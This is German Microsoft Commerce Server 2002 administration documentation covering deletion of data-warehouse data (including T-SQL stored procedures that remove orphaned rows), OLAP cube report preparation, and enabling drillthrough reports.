Commerce Server stellt den DTS-Datenlöschungstask zur Verfügung, mit dem detaillierte Protokolldateidaten oder alle Daten aus dem Data Warehouse gelöscht werden. Informationen zur Funktionsweise des DTS-Datenlöschungstasks finden Sie unter ETL-Prozess für den DTS-Datenlöschungstask. Informationen zur Verwendung des Datenlöschungstasks finden Sie unter Ausführen des DTS-Datenlöschungstasks.

Nachdem Sie mithilfe des DTS-Datenlöschungstasks Webprotokolldateidaten aus dem Data Warehouse gelöscht haben, befinden sich darin nach wie vor Daten, die Sie manuell löschen müssen. Beispiel: Ein Siteadministrator fügt einem Katalog ein Produkt hinzu, und dieses Produkt wird der Kataloglaufzeitdatenbank hinzugefügt. Anschließend stellt der Siteadministrator den aktualisierten Katalog in der Site bereit.

Ein Benutzer besucht die Site und legt das neue Produkt in seinen Warenkorb. Das veranlasst Commerce Server, ein Commerce-Ereignis in der IIS-Webprotokolldatei zu erfassen (Ereignis Zum Warenkorb hinzufügen).

Das Commerce-Ereignis enthält nun für das Produkt eine Produkt-ID, die auf eine Zeile in einer Tabelle in der Kataloglaufzeitdatenbank verweist.

Bei Ausführung des DTS-Produktkatalogimport-Tasks durch den Systemadministrator wird die Kataloglaufzeitdatenbank in das Data Warehouse importiert und die Produkt-ID in eine vollständige Beschreibung aufgelöst. Das Commerce-Ereignis, das die Produkt-ID des neuen Produkts enthält, wird als Fremdschlüssel in einer Katalogtabelle aufgelöst.

Wenn allerdings der Siteadministrator das neue Produkt aus der Kataloglaufzeitdatenbank löscht, nachdem das Commerce-Ereignis protokolliert wurde, aber bevor die Produktkatalogdaten in das Data Warehouse importiert werden, wird die Produkt-ID des neuen Produkts nicht in ein Produkt im Katalog aufgelöst und als "nicht zugeordnet" betrachtet. In diesem Beispiel verweist ein Fakt (die Produkt-ID) auf Dimensionsdaten (Name und Beschreibung des Produkts), die nicht vorhanden sind. Das kann auch geschehen, wenn eine der Laufzeitkomponenten von Commerce Server Elemente löscht, ehe der Systemadministrator den DTS-Konfigurationssynchronisations-Task ausführt.

Informationen zum Löschen nicht zugeordneter Daten aus der Data Warehouse-Datenbank finden Sie unter Löschen nicht zugeordneter Daten aus dem Data Warehouse.

Hinweis

  • Die Katalogressource erfasst keine Löschvorgänge. Wenn Sie einen Katalogartikel löschen, wird er endgültig entfernt.

Empfohlene Vorgehensweisen für das Löschen von Daten aus dem Data Warehouse

  • Verdoppeln Sie die Größe der Data Warehouse-Datenbank, um das Löschen von Daten zu berücksichtigen.
Der benötigte Platz für die beim DTS-Datenlöschungstask verwendeten ID-Tabellen muss in der Größenberechnung für die Data Warehouse-Datenbank berücksichtigt werden. Es empfiehlt sich, den Speicherplatz, den Sie zuordnen, zu verdoppeln. Wenn Sie etwa ein 1 GB großes Data Warehouse planen, sollten Sie unter Berücksichtigung der Datenlöschung 2 GB zuweisen.
  • Löschen Sie ID-Tabellen, falls der Löschvorgang fehlschlägt.
Der Löschcode enthält einen Schalter, der zum Löschen von Daten ID-Tabellen in der Data Warehouse-Datenbank erstellt. Dadurch kann der DTS-Datenlöschungstask nach einem Failover oder einem kurzen Verbindungsausfall wiederhergestellt und fortgesetzt werden. Wenn allerdings der Datenlöschvorgang fehlschlägt oder im System ein längerer Verbindungsausfall auftritt, müssen Sie diese Tabellen manuell löschen.
Bei einem erfolgreichen Abschluss des Löschvorgangs löscht das Data Warehouse die ID-Tabellen. Die Tabellennamen enthalten einen GUID und das Präfix MSCSTemp. Der Name der ID-Tabelle für TaskHistory könnte beispielsweise wie folgt lauten: MSCSTempTaskHistory_{490CD250-C540-47B7-80BD-B308F3B356C7}.

Hinweis

  • Mit der UseTempTablesForDelete-Umgebungsvariable wird gesteuert, wo ID-Tabellen erstellt werden. Der Standardwert von UseTempTablesForDelete ist False, das heißt, dass die ID-Tabellen in der Data Warehouse-Datenbank erstellt werden. Wird diese Variable auf True gesetzt, wird bei Löschfunktionen die Datenbank tempdb verwendet, und es ist bei einem vorübergehenden Verbindungsausfall (wenn beispielsweise der SQL Server-Dienst angehalten und neu gestartet wird) keine Wiederherstellung möglich.
  • Löschen Sie zur Verkürzung der Importzeiten regelmäßig Webprotokolldateidaten.
Führen Sie den DTS-Datenlöschungstask in regelmäßigen Abständen durch, um detaillierte Webprotokolldateidaten zu löschen. Mit der Zeit können sich so viele Webprotokolldateidaten anhäufen, dass die Importdauer und die Speicherkapazität des Data Warehouse erheblich beeinträchtigt werden. Informationen zum Ausführen des DTS-Datenlöschungstasks finden Sie unter Ausführen des DTS-Datenlöschungstasks.
  • Löschen Sie zur Verkürzung der Importzeiten nicht zugeordnete Daten aus dem Data Warehouse.
Löschen Sie mithilfe der gespeicherten Prozeduren DeleteOrphans_UriQuery, DeleteOrphans_Uri und DeleteOrphans_LogUser nicht zugeordnete Daten aus der Data Warehouse-Datenbank. Informationen zum Löschen nicht zugeordneter Daten aus der Data Warehouse-Datenbank finden Sie unter Löschen nicht zugeordneter Daten aus dem Data Warehouse.


Ausführen des DTS-Datenlöschungstasks

Zum Löschen von Daten aus dem Data Warehouse arbeiten Sie mit dem DTS-Datenlöschungstask. Mit dem Datenlöschungstask können Sie detaillierte Protokolldateidaten, zusammengefasste Daten, alle Daten im Data Warehouse sowie alle Daten einer bestimmten Site im Data Warehouse löschen. Beispielsweise können Sie damit Daten einer teilweise importierten Protokolldatei löschen, falls der Import der Webprotokolldatei fehlschlägt.

Achten Sie unbedingt darauf, veraltete Protokolldateidaten regelmäßig zu löschen, damit die Leistung und die Arbeitsspeicherkapazität des Data Warehouse nicht beeinträchtigt werden. Falls Sie Verlaufsdaten von Ihrer Commerce Server-Site beibehalten möchten, können Sie die Daten zur Erhaltung in Berichten extrahieren.

Hinweise

  • Vor der Ausführung des DTS-Datenlöschungstasks sollten Sie sich vergewissern, dass die Größe der Datenbank "tempdb" die Größe der zu löschenden Datenbank übersteigt.

    Wenn die zu löschende Datenbank beispielsweise 15 GB groß ist, muss die Datenbank tempdb von SQL Server einen Umfang von mindestens 15 GB haben. Anderenfalls kann der Datenlöschungstask nicht ausgeführt werden.

  • Nach dem Löschen von Daten aus dem Data Warehouse müssen Sie den DTS-Berichtsvorbereitungstask ausführen, um die OLAP-Cubes (Online Analytical Processing) zu aktualisieren. Wenn Sie Daten aus dem Data Warehouse gelöscht haben, müssen Sie die vollständige Cubeverarbeitung wählen.
  • Wenn Sie detaillierte Daten löschen, die aus einer einzelnen Webprotokolldatei importiert wurden, bleiben die Protokolldateidaten, auf die die Berichte in Commerce Server Business Desk zugreifen, trotzdem unverändert. Die folgenden Berichte sind von der Löschung detaillierter Daten betroffen:
    • Eingangspfadanalyse
    • Bestellereignisse
    • Warenkorbereignisse
  • Um die Daten zu löschen, auf denen die Berichte basieren, müssen Sie alle Daten im Data Warehouse löschen.
  • Beim Löschen eines bestimmten Webprotokolldateidaten-Imports löscht der DTS-Datenlöschungstask ausschließlich Klassen, die der Taskhistory-Klasse untergeordnet sind (die Taskhistory-Klasse ist übergeordnet). Die Klassen, aus denen der Datenlöschungstask keine Daten löscht, können mit der Zeit sehr groß werden. Aus den folgenden Klassen löscht der Datenlöschungstask keine Daten:
    • Loguser
    • Uri
    • Uriquery
    • Registereduser
    • Ordergroup
    • Date
  • Nach dem Start kann dieser Task nicht mehr abgebrochen werden. Sie können zwar auf Abbrechen klicken, der Task wird jedoch nicht gestoppt.

So löschen Sie Protokolldateidaten

So löschen Sie alle Daten im Data Warehouse

So löschen Sie Protokolldateidaten

  1. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  2. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  3. Klicken Sie im Menü Task auf Datenlöschung (Commerce Server).
  4. Nehmen Sie im Dialogfeld Löschtask die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Tasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Vorgangsebene Wählen Sie in der Dropdownliste eine der folgenden Optionen:
    • Siteebene – Löschen der Webprotokolldateidaten für eine Site
    • Data Warehouse-Ebene – Löschen der Webprotokolldateidaten bzw. aller Daten für ein Data Warehouse
    Sitename | Wenn Sie die Option Siteebene gewählt haben, wählen Sie jetzt in der Dropdownliste die Site, für die Sie die Webprotokolldateidaten löschen möchten.
    Data Warehouse | Wenn Sie die Option Data Warehouse-Ebene gewählt haben, wählen Sie jetzt in der Dropdownliste das Data Warehouse, für die Sie die Webprotokolldateidaten löschen möchten.
    Löschtyp auswählen | Wählen Sie in der Dropdownliste Webprotokollimporte, um Daten für bestimmte Webprotokolldatenimporte zu löschen.
    Anzahl der Wiederholungen | Geben Sie an, wie oft der Task bei Verbindungsfehlern versuchen soll, die Verbindung zum Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden der Task zwischen den Wiederholungen warten soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  5. Führen Sie im Bereich Löschebene folgende Schritte aus:
    Funktion | Aktion
    Alle Daten löschen Wählen Sie diese Option aus, um alle mit den zu löschenden Webprotokolldateien verknüpften Daten zu löschen.

    Hinweis

    • Bei Verwendung der Option Alle Daten löschen für aus einer bestimmten Webprotokolldatei importierte Daten werden nicht alle Daten gelöscht, die mit der betreffenden Webprotokolldatei im Data Warehouse verknüpft sind. Stattdessen werden Daten aus allen Klassen gelöscht, die mit den Tabellen Taskhistory verbunden sind. (Verbundene Klassen sind den Elementen der Tabelle Taskhistory gleichgestellt, (unmittelbar oder mittelbar) untergeordnet oder übergeordnet.) Die folgenden Klassen sind im standardmäßigen Data Warehouse-Schema enthalten:
      • Warenkorb
      • ErsterUriNachDatum
      • ZugriffeNachUhrzeit
      • Zugriffsinformationen
      • LetzterUriNachDatum
      • ZusammenfassungDesProtokollimportauftrags
      • TeiltaskFürDenProtokollimport
      • AktuellerBenutzerbesuch
      • Bestellung
      • Anforderung
      • AnforderungNachDatumUriUndAbfragezeichenfolge
      • Besuch
      • Besuchsinformationen
    Detaildaten löschen | Wählen Sie diese Option aus, um die mit den zu löschenden Webprotokolldateien verknüpften detaillierten Daten zu löschen.
  6. Wählen Sie im Bereich Zu löschende Protokolle eine der folgenden Optionen in der Dropdownliste:
    • Alle Protokolle löschen, die älter sind als. Wählen Sie diese Option, um einen Zeitraum zur Aufbewahrung einer importierten Protokolldatei anzugeben.
    • Anzahl der aktuellen Webprotokollimporte erfassen. Wählen Sie diese Option, um die Anzahl der Webprotokollimporte anzugeben, für die importierte Protokolldateidaten gespeichert werden sollen.
    • Bestimmte Webprotokollimporte zum Löschen auswählen. Wählen Sie diese Option, um bestimmte Webprotokolldateiimporte anzugeben, für die importierte Protokolldateidaten gelöscht werden sollen. Aktivieren Sie das Feld links neben der Task-ID der Webprotokolldatei, für die Sie Protokolldateidaten löschen möchten.
  7. Klicken Sie auf OK.
  8. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse die Meldung angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  9. Klicken Sie auf OK und anschließend auf Fertig.

    Die detaillierten Daten der ausgewählten Webprotokolldateien werden aus dem Data Warehouse gelöscht.

  10. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

So löschen Sie alle Daten im Data Warehouse

  1. Führen Sie den Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  2. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  4. Klicken Sie im Menü Task auf Datenlöschung (Commerce Server).
  5. Nehmen Sie im Dialogfeld Löschtask die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Tasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Data Warehouse-Ebene aus.
    Data Warehouse | Wählen Sie in der Dropdownliste das Data Warehouse aus, dessen sämtliche Daten Sie löschen möchten.
    Löschtyp auswählen | Wählen Sie in der Dropdownliste Alle Daten im Data Warehouse, um sämtliche Daten aus dem Data Warehouse zu löschen.
    Anzahl der Wiederholungen | Geben Sie an, wie oft bei Verbindungsfehlern versucht werden soll, die Verbindung mit dem Data Warehouse wiederherzustellen. Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) | Geben Sie an, wie viele Sekunden zwischen den Wiederholungen gewartet werden soll. Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  6. Klicken Sie auf OK.

    Hinweis

    • Sie können dem geöffneten Paket zusätzliche DTS-Tasks sowie Informationen zu Reihenfolge und Workflow hinzufügen und dann alle Tasks im Paket gleichzeitig ausführen.
  7. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse die Meldung angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  8. Klicken Sie auf OK und anschließend auf Fertig.

    Alle Daten werden aus dem angegebenen Data Warehouse gelöscht.

  9. Führen Sie den DTS-Berichtsvorbereitungstask aus, um die importierten Daten in die angegebenen OLAP-Cubes einzuordnen. Anweisungen zur Ausführung des Berichtsvorbereitungstasks finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks.

Die Daten stehen jetzt für Berichte zur Verfügung.


Löschen nicht zugeordneter Daten aus dem DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Löschen nicht zugeordneter Daten aus dem Data Warehouse

Während des normalen Betriebs des Data Warehouse sollten Sie mithilfe des DTS-Datenlöschungstasks Faktdaten in regelmäßigen Zeitabständen löschen lassen. Mit dem DTS-Datenlöschungstask wird i. d. R. der größte Teil der Daten im Data Warehouse entfernt (z. B. Anforderungen, Besuche und der Inhalt der Tabelle VisitInfo).

Mit der Zeit verlängern sich unter Umständen die Importzeiten, weshalb es sinnvoll ist, nicht zugeordnete Daten bestimmter stark anwachsender Dimensionen (z. B. LogUser, URI und IPRef) zu löschen.

Nicht zugeordnete Daten sind Instanzen von Daten in der übergeordneten Klasse (im Kontext einer Ordnungsbeziehung), denen keine Daten untergeordnet sind. Im Data Warehouse ist beispielsweise die OrderFormheader-Klasse der OrderFormLineItems-Klasse übergeordnet, d. h., dass es für jede Instanz in der untergeordneten OrderFormLineItems-Klasse eine entsprechende Instanz in der übergeordneten OrderFormHeader-Klasse gibt. Werden bei einem Löschvorgang einige Instanzen in OrderFormLineItems gelöscht, gelten die entsprechenden Instanzen in der (übergeordneten) OrderFormHeader-Klasse als nicht zugeordnet.

Sie können die Instanzen nicht zugeordneter Daten aus dem Data Warehouse löschen, indem Sie mithilfe des Commerce OLE DB Provider mit dem Ausdruck DELETE ORPHANS einen Löschbefehl für die übergeordnete Klasse ausgeben. Weitere Informationen finden unter Delete Syntax (englisches Thema).

Mit dem Ausdruck DELETE ORPHANS können Sie keine nicht zugeordneten Daten aus der URI-, LogUser- und URIQuery-Klasse entfernen, denn dabei handelt es sich um übergeordnete Klassen mehrerer Fakten wie etwa Besuche und Anforderungen, deren Ordnungsbeziehungen nicht vom Commerce OLE DB Provider, sondern vom Protokollimporttask erzwungen werden.

Hinweis

  • Ein Löschbefehl ohne den Ausdruck DELETE ORPHANS funktioniert bei der URI-, LogUser- und URIQuery-Klasse nicht. Dies ist gewollt.

Zum Löschen der nicht zugeordneten Daten in diesen Tabellen müssen Sie die gespeicherten Prozeduren DeleteOrphans_UriQuery, DeleteOrphans_Uri und DeleteOrphans_LogUser aufrufen. Diese gespeicherten Prozeduren können mit SQL Query Analyzer durch folgende Syntax aufgerufen werden:

exec DeleteOrphans_UriQuery
exec DeleteOrphans_Uri
exec DeleteOrphans_LogUser

Hinweis

  • Bei den folgenden Dimensionen funktionieren die gespeicherten DeleteOrphan-Prozeduren nicht:
    • LogUser
    • URI
    • UriQuery
Diese Dimensionen sind Teil einer Beziehung auf Anwendungsebene, die der OLE DB Provider nicht verarbeiten kann.

Die gespeicherten Prozeduren DeleteOrphans_Uri und DeleteOrphans_LogUser müssen bei jeder Definition eines neuen oder benutzerdefinierten Commerce-Ereignisses aktualisiert werden.

Aktualisieren Sie die gespeicherte Prozedur DeleteOrphans_Uri mithilfe des folgenden Codes:

CREATE PROCEDURE DeleteOrphans_UriQuery
AS
SELECT [QueryStringKey] INTO [#MSCSTempUriQuery] FROM [UriQuery] WHERE (0 = 1)
CREATE UNIQUE CLUSTERED INDEX [URI_del_temp_idx] ON [#MSCSTempUriQuery]([QueryStringKey]) WITH IGNORE_DUP_KEY
INSERT INTO [#MSCSTempUriQuery] SELECT [Request].[QueryStringKey] AS [QueryStringKey] FROM [Request]
INSERT INTO [#MSCSTempUriQuery] SELECT [RequestByDateByUriByQueryString].[QueryStringKey] AS [QueryStringKey] FROM [RequestByDateByUriByQueryString]
DELETE FROM [UriQuery] WHERE ([UriQuery].[QueryStringKey] NOT IN
   (SELECT [#MSCSTempUriQuery].[QueryStringKey] FROM [#MSCSTempUriQuery]))
GO

CREATE PROCEDURE DeleteOrphans_URI
AS
SELECT [UriKey] INTO [#MSCSTempURI] FROM [URI] WHERE (0 = 1)
CREATE UNIQUE CLUSTERED INDEX [URI_del_temp_idx] ON [#MSCSTempURI]([UriKey]) WITH IGNORE_DUP_KEY
INSERT INTO [#MSCSTempURI] SELECT [Basket].[UriKey] AS [UriKey] FROM [Basket]
INSERT INTO [#MSCSTempURI] SELECT [CampaignEvent].[UriKey] AS [UriKey] FROM [CampaignEvent]
INSERT INTO [#MSCSTempURI] SELECT [FirstUriByDate].[FirstUriKey] AS [UriKey] FROM [FirstUriByDate]
INSERT INTO [#MSCSTempURI] SELECT [HitsInfo].[UriKey] AS [UriKey] FROM [HitsInfo]
INSERT INTO [#MSCSTempURI] SELECT [LastUriByDate].[LastUriKey] AS [UriKey] FROM [LastUriByDate]
INSERT INTO [#MSCSTempURI] SELECT [OpenUserVisit].[FirstUriKey] AS [UriKey] FROM [OpenUserVisit]
INSERT INTO [#MSCSTempURI] SELECT [OpenUserVisit].[SecondUriKey] AS [UriKey] FROM [OpenUserVisit]
INSERT INTO [#MSCSTempURI] SELECT [OpenUserVisit].[LastUriKey] AS [UriKey] FROM [OpenUserVisit]
INSERT INTO [#MSCSTempURI] SELECT [Order].[UriKey] AS [UriKey] FROM [Order]
INSERT INTO [#MSCSTempURI] SELECT [Request].[UriKey] AS [UriKey] FROM [Request]
INSERT INTO [#MSCSTempURI] SELECT [RequestByDateByUriByQueryString].[UriKey] AS [UriKey] FROM [RequestByDateByUriByQueryString]
DELETE FROM [URI] WHERE ([URI].[UriKey] NOT IN
   (SELECT [#MSCSTempURI].[UriKey] FROM [#MSCSTempURI]))
GO

CREATE PROCEDURE DeleteOrphans_LogUser
AS
SELECT [UserKey] INTO [#MSCSTempLogUser] FROM [LogUser] WHERE (0 = 1)
CREATE UNIQUE CLUSTERED INDEX [LogUser_del_temp_idx] ON [#MSCSTempLogUser]([UserKey]) WITH IGNORE_DUP_KEY
INSERT INTO [#MSCSTempLogUser] SELECT [Basket].[UserKey] AS [UserKey] FROM [Basket]
INSERT INTO [#MSCSTempLogUser] SELECT [Order].[UserKey] AS [UserKey] FROM [Order]
INSERT INTO [#MSCSTempLogUser] SELECT [CampaignEvent].[UserKey] AS [UserKey] FROM [CampaignEvent]
INSERT INTO [#MSCSTempLogUser] SELECT [OpenUserVisit].[UserKey] AS [UserKey] FROM [OpenUserVisit]
INSERT INTO [#MSCSTempLogUser] SELECT [Visit].[UserKey] AS [UserKey] FROM [Visit]
INSERT INTO [#MSCSTempLogUser] SELECT [VisitInfo].[UserKey] AS [UserKey] FROM [VisitInfo]
INSERT INTO [#MSCSTempLogUser] SELECT [Request].[UserKey] AS [UserKey] FROM [Request]
DELETE FROM [LogUser] WHERE ([LogUser].[UserKey] NOT IN
   (SELECT [#MSCSTempLogUser].[UserKey] FROM [#MSCSTempLogUser]))
GO

Siehe auch

Ausführen des DTS-Datenlöschungstasks

ETL-Prozess für den DTS-Datenlöschungstask

Erstellen eines Skripts für den DTS-Datenlöschungstask

Empfohlene Vorgehensweisen für das Data Warehouse

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Ausführen des DTS-Berichtsvorbereitungstasks

Sie führen den DTS-Berichtsvorbereitungstask aus, um die OLAP-Cubes (Online Analytical Processing) mit den Daten im Data Warehouse aufzufüllen. In den OLAP-Cubes ordnet Commerce Server 2002 die im Data Warehouse enthaltenen zusammengefassten Daten, sodass die Berichte in den Analysemodulen schneller ausgeführt werden. Der DTS-Berichtsvorbereitungstask muss immer dann ausgeführt werden, wenn Daten in das Data Warehouse importiert oder aus diesem gelöscht werden. Informationen zu OLAP-Cubes finden Sie in der SQL Server-Onlinedokumentation.

Hinweise

  • Wenn mehrere Sites gemeinsamen Zugriff auf ein Data Warehouse haben, führen Sie den Berichtsvorbereitungstask einmal aus, um die Daten für alle Sites zu verarbeiten.

    Bei der Ausführung werden durch den Berichtsvorbereitungstask alle Sites in einem Data Warehouse verarbeitet. Führen Sie den DTS-Task nicht getrennt für jede Site aus, anderenfalls wird die Leistung des Data Warehouse beeinträchtigt.

  • Wenn Sie zum ersten Mal den Berichtsvorbereitungstask ausführen, um die OLAP-Cubes im Data Warehouse aufzufüllen, müssen Sie die vollständige Cubeverarbeitung wählen. Nach der Ausführung des Berichtsvorbereitungstasks können Sie die inkrementelle Cubeverarbeitung ausführen, um nur neue Daten in die OLAP-Cubes zu laden.
  • Auch wenn Sie alle Daten aus dem Data Warehouse gelöscht haben, müssen Sie die vollständige Cubeverarbeitung wählen. Informationen zum Löschen von Daten aus dem Data Warehouse finden Sie unter Ausführen des DTS-Datenlöschungstasks.
  • Selbst wenn Sie den Berichtsvorbereitungstask im inkrementellen Modus ausführen, kann dessen Ausführung zunehmend länger dauern, da die folgenden Cubes vollständig verarbeitet werden müssen:
    Cube | Erwägungen zum Verarbeitungsmodus
    Seitenverwendung | Enthält die URI-Dimension, bei der stets eine vollständige Verarbeitung erfolgt.
    Eingangsseiten | Enthält die URI-Dimension, bei der stets eine vollständige Verarbeitung erfolgt.
    Ausgangsseiten | Enthält die URI-Dimension, bei der stets eine vollständige Verarbeitung erfolgt.
    mscsSales | Enthält veränderliche Fakten. Daher kann der Cube nicht inkrementell verarbeitet werden.
    Warenkorbereignisse | Enthält veränderliche Fakten. Daher kann der Cube nicht inkrementell verarbeitet werden.
    Käuferbesuche | Enthält veränderliche Fakten. Daher kann der Cube nicht inkrementell verarbeitet werden.
  • Der Berichtsvorbereitungstask funktioniert nicht in einer OLAP-Clusterumgebung, vor allem nicht, wenn ein Fehler, der eine Wiederholung zulässt, oder ein Failover auftritt. Informationen zu Fehlern, die eine Wiederholung zulassen, finden Sie unter ETL-Prozess für den DTS-Berichtsvorbereitungstask.
  • Durch den Berichtsvorbereitungstask werden bei der Verarbeitung von OLAP-Dimensionen und -Cubes Fehler gemeldet, falls die zum Ausfüllen dieser Objekte erforderlichen Daten nicht in das Data Warehouse importiert wurden. Die Fehlermeldung wird in folgendem Format angezeigt:

    Processing error [Source data contains no rows] <object name>

    Wenn Sie nur eine Teilmenge von Daten in das Data Warehouse importieren (beispielsweise wird der Produktkatalogdaten-Importtask nicht ausgeführt), können Sie die Verarbeitung von Objekten ohne Daten deaktivieren. Dadurch werden keine Fehlermeldungen des Typs [Quelldaten enthalten keine Zeilen] mehr angezeigt.

    Um die Verarbeitung von Analysis Services-Objekten zu deaktivieren, legen Sie für die Cubes und Dimensionen, die nicht verarbeitet werden sollen, den Wert für ProcessingEnabled in den Tabellen CubeProcInfo und DimProcInfo auf 0 fest.

So füllen Sie OLAP-Cubes mit Daten auf

  1. Führen Sie den DTS-Konfigurationssynchronisations-Task aus, um Ihre Sitekonfiguration mit dem Data Warehouse abzugleichen. Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.
  2. Erweitern Sie nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, auf dem das Data Warehouse installiert ist.
  3. Klicken Sie mit der rechten Maustaste auf Data Transformation Services, und klicken Sie dann auf Neues Paket.

    Wenn Sie ein vorhandenes Paket ändern, können Sie alternativ mit der rechten Maustaste auf Data Transformation Services klicken, dann auf Alle Aufgaben klicken und schließlich Paket öffnen auswählen. Klicken Sie im Dialogfeld Datei auswählen auf das Paket, das Sie ändern möchten, und klicken Sie dann auf Öffnen.

  4. Klicken Sie im Menü Task auf Berichtsvorbereitung (Commerce Server).
  5. Nehmen Sie im Dialogfeld Berichtseigenschaften vorbereiten die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie eine Beschreibung des Berichtsvorbereitungstasks ein. Für die Beschreibung sind maximal 255 Zeichen zulässig.
    Sitename | Wählen Sie die Site aus, für die Sie die OLAP-Cubes auffüllen.
    Inkrementell | Wählen Sie diese Option aus, um die OLAP-Cubes inkrementell zu verarbeiten.
    Vollständig | Wählen Sie diese Option aus, um die OLAP-Cubes vollständig zu verarbeiten.
  6. Klicken Sie auf OK.
  7. Klicken Sie im Menü Paket auf Ausführen.

    Das Dialogfeld Paket wird ausgeführt, in dem Sie über den Status des Importvorgangs informiert werden, wird angezeigt. Nach Abschluss des Importvorgangs wird im Dialogfeld Paketausführungsergebnisse die Meldung angezeigt, dass der Vorgang erfolgreich abgeschlossen wurde.

  8. Klicken Sie auf OK und anschließend auf Fertig.

Die Daten werden in die OLAP-Cubes geladen. Nun können Sie das Geschäftsanalysesystem von Commerce Server verwenden, einschließlich der Commerce Server-Berichte, um die Daten im Data Warehouse zu analysieren. Weitere Informationen zum Ausführen von Berichten finden Sie unter Business Desk-Analyse.

Siehe auch

Ausführen des DTS-Berichtsvorbereitungstasks

ETL-Prozess für den DTS-Berichtsvorbereitungstask

Erstellen eines Skripts für den DTS-Berichtsvorbereitungs-Task

Empfohlene Vorgehensweisen für das Data Warehouse

Festlegen der in das Data Warehouse zu importierenden Daten

Workflow zum Ausführen von DTS-Tasks

Problembehandlung beim Data Warehouse-Importvorgang


Aktivieren von dynamischen Drillthroughberichten

Die OLAP-Cubes im Data Warehouse enthalten Aggregationen mehrdimensionaler Daten. Beim Anzeigen der aggregierten Daten in einem dynamischen Bericht ist es unter Umständen erforderlich, die zugrunde liegenden Datensätze einzusehen, die zu diesem Ergebnis geführt haben. Die Fähigkeit, diese zugrunde liegenden Datensätze aufzurufen, wird als "Drillthrough" bezeichnet. Drillthroughvorgänge können nur bei OLAP-basierten Berichten angewendet werden. Dazu müssen für den Cube, auf dem ein Bericht basiert, Drillthroughvorgänge aktiviert sein.

Durch die folgenden Verfahren wird beschrieben, wie Drillthroughvorgänge für Cubes im Data Warehouse aktiviert werden können. Sie können die Drillthroughfunktion für einen regulären Cube (Cube, der auf Tabellen basiert und über eigene Aggregationen verfügt) und einen virtuellen Cube (logischer Cube, der auf einem oder mehreren regulären Cubes oder verknüpften Cubes basiert) aktivieren.

Hinweis

  • Sie können mithilfe der gespeicherten Prozedur CSDW_MakePrimaryProductCategoryInfo die einzelnen Produkte ihrer primären übergeordneten Kategorie zuordnen und damit die Anzahl der Elemente reduzieren, die in den Details eines Drillthroughberichts angezeigt werden. Informationen dazu finden Sie unter Verwenden von Drillthrough zum Anzeigen von Produktverkäufen oder Warenkorbereignissen.

So aktivieren Sie Drillthroughvorgänge für einen regulären Cube

So aktivieren Sie Drillthroughvorgänge für einen virtuellen Cube

So aktivieren Sie Drillthroughvorgänge für einen regulären Cube

  1. Klicken Sie auf Start, zeigen Sie auf Programme, Microsoft SQL Server, Analysis Services, und klicken Sie dann auf Analysis-Manager.
  2. Erweitern Sie auf der Registerkarte Struktur den Knoten Analysis Servers und anschließend den Knoten für den Server, auf dem das Data Warehouse ausgeführt wird. Erweitern Sie dann den Data Warehouse-Knoten, z. B. Retail_dw.
  3. Erweitern Sie den Knoten Cubes.
  4. Klicken Sie mit der rechten Maustaste auf den Cube, für den Sie Drillthroughvorgänge aktivieren möchten, und klicken Sie dann auf Bearbeiten.
  5. Klicken Sie im Fenster Cube-Editor im Menü Extras auf Drillthroughoptionen.
  6. Aktivieren Sie im Dialogfeld Drillthroughoptionen des Cubes das Feld Drillthrough aktivieren.
  7. Wählen Sie auf der Registerkarte Spalten die Namen der Spalten aus, aus denen Drillthroughdaten zur Verfügung stehen sollen, und klicken Sie anschließend auf OK.
